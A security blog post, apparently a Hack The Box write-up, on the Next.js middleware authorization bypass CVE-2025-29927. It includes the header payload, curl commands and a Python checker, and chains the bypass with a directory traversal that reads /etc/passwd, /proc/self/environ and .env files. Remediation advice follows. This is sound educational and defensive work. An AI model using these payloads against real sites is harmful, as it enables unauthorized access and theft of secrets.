Post

CVE-2025-29927: Next.js Middleware Authorization Bypass

CVE-2025-29927: Next.js Middleware Authorization Bypass

CVE-2025-29927: Next.js Middleware Authorization Bypass

Introduction

CVE-2025-29927 is a critical authorization bypass vulnerability affecting Next.js applications that rely on middleware to enforce access controls.

The vulnerability allows an unauthenticated attacker to potentially bypass middleware based authorization by supplying a specially crafted x-middleware-subrequest HTTP header.

If an application relies on Next.js middleware as its primary authorization boundary, an attacker may be able to access routes that should normally require authentication.

The vulnerability is tracked as:

1
2
3
CVE-2025-29927
GHSA-f82v-jwr5-mffw
CWE-285: Improper Authorization

The vulnerability received a CVSS 3.1 score of 9.1 Critical:

1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Affected Versions

Affected Next.js branches include versions prior to the corresponding security fixes:

Next.js branch Patched version
12.x 12.3.5
13.x 13.5.9
14.x 14.2.25
15.x 15.2.3

Applications should preferably upgrade to a currently supported and fully patched Next.js release rather than treating these historical versions as recommended targets.


Technology Fingerprinting

To demonstrate CVE-2025-29927 in a practical environment, we will use the Hack The Box machine Previous, available as previous.htb.

Before testing the application for vulnerabilities, the first step is to identify the technologies running on the target.

Using WhatWeb:

1
whatweb http://previous.htb

The following technologies were identified:

1
http://previous.htb [200 OK] Country[RESERVED][ZZ], Email[[email protected]], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.242.162], Script[application/json], X-Powered-By[Next.js], nginx[1.18.0]

Several useful pieces of information can immediately be extracted from the result:

Technology Observation
Next.js Identified through X-Powered-By[Next.js]
nginx Version 1.18.0
Operating system Ubuntu Linux indicated by the server banner
HTML HTML5
Email [email protected]

The most interesting result for this research is:

1
X-Powered-By[Next.js]

This confirms that the target application is using Next.js.

At this stage, technology fingerprinting alone does not demonstrate that the application is vulnerable to CVE-2025-29927. However, identifying Next.js provides a reason to investigate Next.js-specific vulnerabilities and whether middleware is being used to protect application routes.


Finding Next.js Applications with Shodan

WhatWeb confirmed that previous.htb is running Next.js. Another useful approach during reconnaissance is to use Shodan to identify Internet-facing systems where Next.js has been detected.

Using the Shodan web interface, search for:

1
http.component:"Next.js"

This searches Shodan’s indexed data for web applications where Next.js has been identified.

The results can also be narrowed by country:

1
http.component:"Next.js" country:NL

or by HTTP status:

1
http.component:"Next.js" http.status:200

Multiple filters can also be combined:

1
http.component:"Next.js" country:NL http.status:200

This provides a passive reconnaissance method for identifying Next.js deployments without actively scanning the systems returned by the search.

It is important to distinguish technology discovery from vulnerability identification. A Shodan result identifying Next.js does not mean that the system is vulnerable to CVE-2025-29927.

The Next.js version, deployment configuration and use of middleware-based authorization still need to be established before determining whether CVE-2025-29927 is applicable.

For the remainder of this article, we will continue using the authorized Hack The Box previous.htb environment to demonstrate the vulnerability.


Understanding Next.js Middleware

Next.js middleware allows application logic to execute before a request reaches its destination.

One common use case is authentication:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import { NextResponse } from "next/server";

export function middleware(request) {
    const authenticated = checkAuthentication(request);

    if (!authenticated) {
        return NextResponse.redirect(
            new URL("/signin", request.url)
        );
    }

    return NextResponse.next();
}

export const config = {
    matcher: ["/docs/:path*"]
};

The expected flow is:

1
2
3
4
5
6
7
8
9
10
11
HTTP Request
     |
     v
Next.js Middleware
     |
     +---- Not authenticated ----> /signin
     |
     +---- Authenticated
     |
     v
Protected Route

The security of this design depends on protected requests actually passing through the middleware.

CVE-2025-29927 breaks that assumption.


The x-middleware-subrequest Header

Next.js internally uses the following HTTP header:

1
x-middleware-subrequest

It is associated with internal middleware subrequests and recursion handling.

The vulnerability allowed an externally supplied value to influence this internal middleware processing.

A request against the lab can look like:

1
2
3
GET /docs HTTP/1.1
Host: previous.htb
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Under vulnerable conditions, the middleware can be skipped.

Conceptually:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Attacker
   |
   | x-middleware-subrequest
   v
Next.js
   |
   X
Middleware skipped
   |
   v
Protected Route
   |
   v
200 OK

If authentication or authorization is enforced exclusively by that middleware, the protected resource can become accessible without satisfying the intended security check.


Why Five Middleware Values?

A frequently demonstrated payload is:

1
middleware:middleware:middleware:middleware:middleware

The behaviour relates to Next.js middleware recursion handling.

Next.js needs to prevent situations where middleware initiated subrequests repeatedly cause the same middleware to execute:

1
2
3
4
5
6
7
8
9
10
11
12
13
middleware
    |
    v
subrequest
    |
    v
middleware
    |
    v
subrequest
    |
    v
...

The vulnerable implementation trusted information from x-middleware-subrequest when determining whether middleware had already executed sufficiently.

An attacker could therefore manipulate information intended for internal framework processing.

The result is particularly significant when middleware is also enforcing authorization.


Identifying CVE-2025-29927

During testing, the application contained a protected route:

1
/docs

An unauthenticated request:

1
2
GET /docs HTTP/1.1
Host: previous.htb

produced:

1
2
HTTP/1.1 307 Temporary Redirect
Location: /api/auth/signin?callbackUrl=%2Fdocs

The normal flow is therefore:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /docs
    |
    v
middleware
    |
    v
authentication check
    |
    v
307 redirect
    |
    v
/api/auth/signin

Now repeat the request with:

1
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

The response changes to:

1
HTTP/1.1 200 OK

This behavioural difference demonstrates that the middleware authorization boundary can be bypassed.


Testing with curl

First establish the baseline:

1
curl -i http://previous.htb/docs

The unauthenticated request redirects to the authentication endpoint:

1
2
HTTP/1.1 307 Temporary Redirect
location: /api/auth/signin?callbackUrl=%2Fdocs

Now add the middleware header:

1
2
3
curl -i \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  http://previous.htb/docs

The application instead returns:

1
HTTP/1.1 200 OK

The important evidence is the behavioural difference:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
WITHOUT HEADER

GET /docs
    |
    v
307 /api/auth/signin


WITH HEADER

GET /docs
x-middleware-subrequest: ...
    |
    v
200 OK
    |
    v
Protected content

A 200 OK response by itself should not be treated as sufficient proof. The returned content should also be examined to establish that an authorization boundary was actually crossed.


Automating Detection with Python

The comparison can easily be automated:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

import requests

TARGET = "http://previous.htb"

BYPASS_HEADER = {
    "x-middleware-subrequest":
        "middleware:middleware:middleware:middleware:middleware"
}

normal = requests.get(
    f"{TARGET}/docs",
    allow_redirects=False,
    timeout=10
)

bypass = requests.get(
    f"{TARGET}/docs",
    headers=BYPASS_HEADER,
    allow_redirects=False,
    timeout=10
)

print(f"Normal request: HTTP {normal.status_code}")

if normal.headers.get("Location"):
    print(f"Normal redirect: {normal.headers['Location']}")

print(f"Bypass request: HTTP {bypass.status_code}")

if (
    normal.status_code in (301, 302, 303, 307, 308)
    and bypass.status_code == 200
):
    print("[+] Potential CVE-2025-29927 authorization bypass")
else:
    print("[-] Bypass not confirmed")

Running the check against previous.htb produces:

1
2
3
4
5
Normal request: HTTP 307
Normal redirect: /api/auth/signin?callbackUrl=%2Fdocs
Bypass request: HTTP 200

[+] Potential CVE-2025-29927 authorization bypass

At this point the discovery flow is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
WhatWeb
   |
   v
Next.js identified
   |
   v
/docs
   |
   v
307 -> /api/auth/signin
   |
   v
Authentication middleware
   |
   v
x-middleware-subrequest
   |
   v
200 OK
   |
   v
Authorization bypass confirmed

However, reaching /docs is only the beginning.

The next question is:

What else is protected by the same authorization boundary?


Chaining the Vulnerability

CVE-2025-29927 provides an authorization bypass primitive.

It does not inherently provide:

1
2
3
4
Remote Code Execution
Arbitrary File Read
SQL Injection
Command Injection

The actual impact depends on the functionality behind the middleware authorization boundary.

For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
CVE-2025-29927
       |
       v
Authorization bypass
       |
       v
Protected API
       |
       v
Secondary vulnerability
       |
       +---- Sensitive information
       |
       +---- File access
       |
       +---- Administrative functionality
       |
       +---- Credentials
       |
       +---- Further compromise

This is where vulnerability chaining becomes particularly important.


Example: Authorization Bypass to Arbitrary File Read

During enumeration of the protected functionality, an interesting API endpoint was identified:

1
/api/download?example=

The example parameter accepts a file path.

Because the API is behind the middleware authorization boundary, the middleware bypass can be supplied when interacting with it.

Testing directory traversal:

1
2
3
curl -i \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  'http://previous.htb/api/download?example=../../../../etc/passwd'

The server responds:

1
2
3
4
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: application/zip
Content-Disposition: attachment; filename="passwd"

More importantly, the response body contains:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:5:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

This confirms arbitrary file read through directory traversal.

It is important to distinguish the two vulnerabilities:

1
2
3
4
5
6
7
8
CVE-2025-29927
        =
Authorization bypass


Directory traversal
        =
Arbitrary file read

The significance is the chain:

1
2
3
4
5
Authorization bypass
        +
Protected directory traversal
        =
Unauthenticated arbitrary file read

Why Vulnerability Chaining Matters

Consider two findings assessed independently:

1
2
3
4
5
Finding A
Authorization bypass

Finding B
Authenticated directory traversal

Finding B may initially appear to require valid credentials.

After discovering Finding A:

1
2
3
4
5
6
7
8
9
10
Authorization bypass
        |
        v
Authentication requirement removed
        |
        v
Directory traversal becomes reachable
        |
        v
Unauthenticated file read

The effective risk can therefore be substantially greater than either vulnerability suggests when assessed independently.

After discovering an authentication or authorization bypass, the protected attack surface should be enumerated again.


Moving from File Read to Application Discovery

Reading /etc/passwd confirms the file read vulnerability, but it does not provide much information about the application itself.

Because the vulnerable application is running on Linux, /proc provides several interesting targets:

1
2
3
/proc/self/cmdline
/proc/self/environ
/proc/self/cwd

For example:

1
2
3
python3 previous.py \
  -u http://previous.htb \
  --file /proc/self/environ

The process environment can reveal information about the running application.

A particularly useful value discovered during enumeration was:

1
PWD=/app

This tells us that the Next.js application is running from:

1
/app

Using /proc/self/cwd

Linux exposes:

1
/proc/self/cwd

as a symbolic link to the current working directory of the running process.

Because the application is running from /app, this provides a convenient way to access application files without needing to hardcode the deployment directory.

For example:

1
2
3
python3 previous.py \
  -u http://previous.htb \
  --file /proc/self/cwd/package.json

This makes /proc/self/cwd particularly useful for application discovery.


Next.js Application Enumeration

Once arbitrary file read is available, several Next.js application artifacts become interesting.

Examples include:

1
2
3
4
5
6
7
8
9
package.json

.next/
├── BUILD_ID
├── routes-manifest.json
└── server/
    ├── pages-manifest.json
    ├── middleware-manifest.json
    └── pages/

Rather than blindly guessing source files, these artifacts can be used to systematically reconstruct the application structure.


package.json

Reading:

1
/proc/self/cwd/package.json

can reveal the application’s dependencies.

For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "react": "^18.2.0",
    "react-dom": "^18.2.0"
  }
}

Several relevant technologies can be identified:

1
2
3
Next.js      15.2.2
NextAuth     4.24.11
React        18.2.0

The Next.js version is particularly significant because it falls within the affected version range for CVE-2025-29927.

Version confirmation: The application is running Next.js 15.2.2. The security fix for the affected 15.x branch was introduced in 15.2.3, confirming that the identified version predates the patch for CVE-2025-29927.

The application version discovered through file disclosure therefore supports the behaviour already observed during middleware bypass testing.


Next.js Pages Manifest

A particularly useful production artifact is:

1
.next/server/pages-manifest.json

It can be accessed through:

1
/proc/self/cwd/.next/server/pages-manifest.json

The manifest maps HTTP routes to compiled server files.

For example:

1
2
3
4
5
6
{
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs": "pages/docs.html",
  "/signin": "pages/signin.html"
}

This gives us a direct mapping:

1
2
3
4
5
6
7
HTTP endpoint
        |
        v
pages-manifest.json
        |
        v
Compiled server implementation

For example:

1
2
3
4
/api/auth/[...nextauth]
        |
        v
pages/api/auth/[...nextauth].js

and:

1
2
3
4
/api/download
        |
        v
pages/api/download.js

This is significantly more useful than blindly guessing where server-side application logic is stored.


Middleware Manifest

Another valuable artifact is:

1
.next/server/middleware-manifest.json

The middleware manifest can reveal which application paths are processed by middleware.

For example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{
  "middleware": {
    "/": {
      "name": "middleware",
      "matchers": [
        {
          "originalSource": "/docs(.*)"
        },
        {
          "originalSource": "/api(.*)"
        }
      ]
    }
  }
}

This tells us that middleware applies to:

1
2
/docs/*
/api/*

Conceptually:

1
2
3
4
5
6
                 middleware
                     |
             +-------+-------+
             |               |
             v               v
         /docs/*           /api/*

This explains why bypassing the middleware is considerably more significant than simply accessing /docs.

The authorization boundary also protects API functionality.

Therefore:

1
2
3
4
5
6
7
8
9
10
11
12
CVE-2025-29927
       |
       v
Middleware skipped
       |
       +----------+
       |          |
       v          v
    /docs/*     /api/*
                  |
                  v
            /api/download

The real attack surface is therefore larger than the first protected endpoint discovered.


Environment Files

Application file disclosure may also expose environment configuration files:

1
2
3
.env
.env.local
.env.production

For example:

1
2
3
python3 previous.py \
  -u http://previous.htb \
  --file /proc/self/cwd/.env

Next.js and NextAuth applications commonly use environment variables such as:

1
2
3
4
NEXTAUTH_SECRET
NEXTAUTH_URL
DATABASE_URL
API_KEY

Environment files should therefore be considered highly sensitive server-side resources.

Secrets obtained from them should be assessed according to their actual purpose rather than automatically assuming that every discovered secret provides direct user authentication.


Finding the Authentication Implementation

The pages manifest provides another useful discovery:

1
/api/auth/[...nextauth]

which maps to:

1
pages/api/auth/[...nextauth].js

The corresponding filesystem path becomes:

1
/proc/self/cwd/.next/server/pages/api/auth/[...nextauth].js

The authentication implementation can therefore be located systematically:

1
2
3
4
5
6
7
8
9
10
pages-manifest.json
        |
        v
/api/auth/[...nextauth]
        |
        v
pages/api/auth/[...nextauth].js
        |
        v
Compiled authentication implementation

This demonstrates how an arbitrary file read vulnerability can evolve into source-assisted application analysis.

Instead of guessing files, the application’s own manifests can be used to map its internal structure.


Mapping the Download Handler

The same approach applies to the vulnerable download API.

The pages manifest maps:

1
/api/download

to:

1
pages/api/download.js

which means the corresponding compiled server-side implementation can be located at:

1
/proc/self/cwd/.next/server/pages/api/download.js

The flow becomes:

1
2
3
4
5
6
7
8
9
10
/api/download
        |
        v
pages-manifest.json
        |
        v
pages/api/download.js
        |
        v
Server-side download logic

This is useful for understanding why the directory traversal exists and how the application processes the example parameter.


Automating the Discovery Process

Performing every request manually quickly becomes repetitive.

The process can therefore be automated using a Python helper.

The automation can perform:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
previous.py
     |
     +--> Check middleware bypass
     |
     +--> Confirm arbitrary file read
     |
     +--> Enumerate /proc information
     |
     +--> Discover application directory
     |
     +--> Read package.json
     |
     +--> Read environment configuration
     |
     +--> Parse Next.js manifests
     |
     +--> Map application routes
     |
     +--> Locate authentication source
     |
     +--> Locate API source

For example:

1
2
3
python3 previous.py \
  -u http://previous.htb \
  --auto

The initial stages produce output similar to:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
======================================================================
 Previous.htb Helper
 Next.js Middleware Bypass + File Read Enumeration
======================================================================

[*] Target: http://previous.htb

[1/3] Middleware bypass

[*] Normal request: HTTP 307
[*] Normal redirect: /api/auth/signin?callbackUrl=%2Fdocs
[*] Bypass request: HTTP 200

[+] Middleware bypass confirmed.

[2/3] Arbitrary file read

[+] Arbitrary file read confirmed.
[+] /etc/passwd is readable.

The enumeration stage can then discover files such as:

1
2
3
4
5
6
7
8
9
10
[+] /etc/passwd
[+] /proc/self/cmdline
[+] /proc/self/environ
[+] /proc/self/cwd/package.json
[+] /proc/self/cwd/.env
[+] /proc/self/cwd/.next/BUILD_ID
[+] /proc/self/cwd/.next/routes-manifest.json
[+] /proc/self/cwd/.next/prerender-manifest.json
[+] /proc/self/cwd/.next/server/pages-manifest.json
[+] /proc/self/cwd/.next/server/middleware-manifest.json

The process has therefore evolved from testing a single HTTP header into mapping the internal architecture of the Next.js application.


Complete Attack Flow

The complete lab flow can be represented as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
                    previous.htb
                         |
                         v
                Technology Fingerprinting
                         |
                         | WhatWeb
                         v
                     Next.js
                         |
                         v
                    Browse /docs
                         |
                         v
              307 -> /api/auth/signin
                         |
                         v
               Authentication Middleware
                         |
                         v
                  CVE-2025-29927
                         |
                         | x-middleware-subrequest
                         v
                 Middleware Bypassed
                         |
                         v
                      200 OK
                         |
                         v
              Enumerate Protected Routes
                         |
                         v
                  /api/download
                         |
                         v
                Directory Traversal
                         |
                         v
             ../../../../etc/passwd
                         |
                         v
               Arbitrary File Read
                         |
                         v
                   /proc/self/*
                         |
             +-----------+-----------+
             |                       |
             v                       v
     /proc/self/environ       /proc/self/cwd
             |                       |
             v                       v
         PWD=/app               package.json
                                     |
                                     v
                           Next.js 15.2.2
                           NextAuth 4.24.11
                                     |
                                     v
                              Next.js .next/
                                     |
                    +----------------+----------------+
                    |                                 |
                    v                                 v
           pages-manifest.json             middleware-manifest.json
                    |                                 |
                    v                                 v
             Application Routes                Protected Routes
                    |                                 |
          +---------+---------+                 /docs/*
          |                   |                 /api/*
          v                   v
/api/auth/[...nextauth]  /api/download
          |                   |
          v                   v
Compiled Auth Handler   Compiled API Handler
          |
          v
Authentication Analysis

A Better Enumeration Workflow

The methodology can be generalized as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
1. Identify Next.js
        |
        v
2. Determine the version
        |
        v
3. Identify protected routes
        |
        v
4. Record baseline behaviour
        |
        v
5. Test x-middleware-subrequest
        |
        v
6. Compare responses
        |
        v
7. Confirm authorization bypass
        |
        v
8. Enumerate newly reachable routes
        |
        v
9. Test protected functionality
        |
        v
10. Identify secondary vulnerabilities
        |
        v
11. Reassess overall impact

Possible Next.js indicators include:

1
2
3
/_next/static/
__NEXT_DATA__
x-powered-by: Next.js

Technology fingerprinting tools such as WhatWeb can help identify the framework before manual verification.


Why This Flow Matters

The interesting part of CVE-2025-29927 is not simply:

1
"Add this HTTP header and receive 200 OK."

The more useful security research methodology is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Fingerprint
     |
     v
Understand
     |
     v
Establish baseline
     |
     v
Bypass
     |
     v
Enumerate again
     |
     v
Discover secondary vulnerability
     |
     v
Chain vulnerabilities
     |
     v
Understand application architecture

WhatWeb provides the initial clue:

1
X-Powered-By[Next.js]

The protected /docs route establishes the authorization boundary.

CVE-2025-29927 crosses that boundary.

The protected /api/download endpoint introduces a secondary vulnerability.

Directory traversal provides arbitrary file read.

The file read exposes the Next.js application structure.

Finally, the Next.js manifests provide a map of the server-side application implementation.

The progression is therefore:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
WhatWeb
   |
   v
Next.js
   |
   v
Protected middleware
   |
   v
CVE-2025-29927
   |
   v
Authorization bypass
   |
   v
Protected API
   |
   v
Directory traversal
   |
   v
Arbitrary file read
   |
   v
Application files
   |
   v
Next.js manifests
   |
   v
Route mapping
   |
   v
Authentication source discovery

This demonstrates why an authorization bypass should rarely be treated as the end of an assessment.

It is often the beginning of a new attack surface.


Impact

The impact of CVE-2025-29927 depends heavily on how the affected application uses middleware.

Potential consequences include:

  • Unauthorized access to protected pages
  • Unauthorized access to API endpoints
  • Exposure of administrative functionality
  • Sensitive information disclosure
  • Access to authenticated functionality
  • Bypassing route-level security assumptions
  • Chaining with vulnerabilities behind authentication

The most serious scenarios occur when sensitive operations assume:

1
"If this request reached me, middleware already authorized it."

CVE-2025-29927 demonstrates why that assumption can be dangerous.

In the previous.htb lab, the practical impact is increased because bypassing middleware exposes a protected API containing a directory traversal vulnerability.

The resulting chain becomes:

1
2
3
4
5
Middleware authorization bypass
              +
Protected directory traversal
              =
Unauthenticated arbitrary file read

Root Cause

At a high level, the vulnerability represents a trust boundary problem.

Next.js uses internal control information:

1
x-middleware-subrequest

that influences whether middleware should execute.

Conceptually:

1
2
3
4
5
6
7
INTERNAL FRAMEWORK STATE
          |
          v
x-middleware-subrequest
          ^
          |
EXTERNALLY CONTROLLED REQUEST

An external user could influence information intended for internal framework processing.

When that internal decision also determines whether authorization middleware executes, the result can become a security boundary bypass.


Remediation

Affected applications should upgrade Next.js.

Historical patched versions for the affected branches include:

1
2
3
4
12.3.5
13.5.9
14.2.25
15.2.3

Where possible, applications should upgrade to the latest currently supported security release rather than merely targeting the minimum version containing the CVE-2025-29927 fix.


Temporary Mitigation

Where immediate patching is impossible, externally supplied:

1
x-middleware-subrequest

headers should be prevented from reaching the Next.js application.

A reverse proxy, load balancer or WAF may be used to remove or reject externally supplied instances of the header.

This should be considered a temporary mitigation.

Updating the affected framework remains the preferred remediation.


Defence in Depth

Sensitive authorization should not rely exclusively on a single middleware boundary.

Instead of:

1
2
3
4
5
6
7
Request
   |
   v
Middleware authorization
   |
   v
Sensitive operation

a stronger architecture is:

1
2
3
4
5
6
7
8
9
10
11
12
13
Request
   |
   v
Middleware authorization
   |
   v
Route authorization
   |
   v
Business logic authorization
   |
   v
Sensitive operation

Sensitive server-side operations should verify that the caller is authorized rather than assuming that reaching the route proves authorization.


Lessons for Security Researchers

CVE-2025-29927 provides several useful lessons.

Internal Headers Matter

Headers used for framework communication deserve attention when they cross an external trust boundary.

Always Establish a Baseline

Compare:

1
normal request

against:

1
modified request

rather than treating an isolated HTTP status code as evidence.

Authorization Bypass Changes the Attack Surface

Once an authorization boundary has been bypassed, previously inaccessible functionality should be reassessed.

The correct response to:

1
"Authorization bypass confirmed"

should often be:

1
"Enumerate the application again."

Look for Vulnerability Chains

A vulnerability that normally requires authentication can become significantly more dangerous when combined with an authorization bypass.

In this lab:

1
2
3
4
5
Authorization bypass
        +
Directory traversal
        =
Unauthenticated arbitrary file read

Understand the Framework

Understanding why x-middleware-subrequest exists provides much more insight than simply memorizing a payload.

Application Metadata Can Become a Map

Once file access becomes possible, framework metadata can significantly accelerate application analysis.

For Next.js:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package.json
        |
        v
Framework versions

pages-manifest.json
        |
        v
Application routes

middleware-manifest.json
        |
        v
Middleware coverage

.env
        |
        v
Application configuration

This can transform a black-box assessment into something much closer to source-assisted analysis.


Conclusion

CVE-2025-29927 demonstrates how an internal framework mechanism can unexpectedly become part of an application’s security boundary.

The vulnerability itself can be summarized as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Attacker controlled request
          |
          v
x-middleware-subrequest
          |
          v
Next.js internal logic
          |
          v
Middleware skipped
          |
          v
Authorization not executed
          |
          v
Protected functionality exposed

The previous.htb lab demonstrates the broader significance of this behaviour:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
WhatWeb
   |
   v
Next.js identified
   |
   v
CVE-2025-29927
   |
   v
Authorization bypass
   |
   v
Protected /api functionality
   |
   v
Directory traversal
   |
   v
Arbitrary file read
   |
   v
Next.js application files
   |
   v
Application architecture discovery

For defenders, the immediate action is to upgrade affected Next.js deployments and ensure sensitive server-side functionality performs appropriate authorization checks.

For penetration testers and security researchers, the broader lesson is equally important:

After bypassing an authorization boundary, enumerate the attack surface again.

The protected page itself may not represent the greatest impact. The more significant vulnerabilities may exist in functionality that was previously hidden behind that authorization boundary.


References

  • Next.js Security Advisory: GHSA-f82v-jwr5-mffw
  • CVE: CVE-2025-29927
  • NVD: CVE-2025-29927
  • Next.js Security Advisories
  • Next.js Documentation

Disclaimer

The examples in this article are intended for educational purposes, CTF environments, security research and authorized penetration testing only.

Only perform security testing against systems you own or have explicit permission to assess.

This post is licensed under CC BY 4.0 by the author.